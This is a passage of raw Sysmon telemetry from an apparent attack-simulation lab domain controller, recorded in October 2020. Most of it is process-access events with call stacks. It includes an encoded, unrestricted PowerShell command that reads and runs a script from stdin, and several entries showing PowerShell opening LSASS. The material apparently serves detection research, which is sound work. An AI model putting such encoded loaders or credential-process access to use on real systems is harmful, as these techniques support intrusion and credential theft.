aedc89\System.Management.Automation.ni.dll+c89af915|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89af5e6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c9460c4b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c897017c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89ce64b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89b1cb0|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89b1cb0|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89b1b41|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89a3ac6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89afff9|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89afbec|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89af915|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c89af5e6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c9460c4b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c8996447|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c8995a17 154100x8000000000000000349Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.767{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289A-5F80-95B1-110000000000}0x11b1950HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x8000000000000000348Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.705{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000347Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.705{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000346Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.674{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_qx5logjj.hfl.ps12020-10-09 09:08:42.674 10341000x8000000000000000345Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.658{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000344Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-289A-5F80-0703-000000007E01}27882144C:\Windows\system32\conhost.exe{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000343Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000342Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000341Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000340Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000339Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000338Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000337Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000336Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000335Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000334Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000333Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000332Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.643{A5F018FF-2724-5F80-0500-000000007E01}6401156C:\Windows\system32\csrss.exe{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000331Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 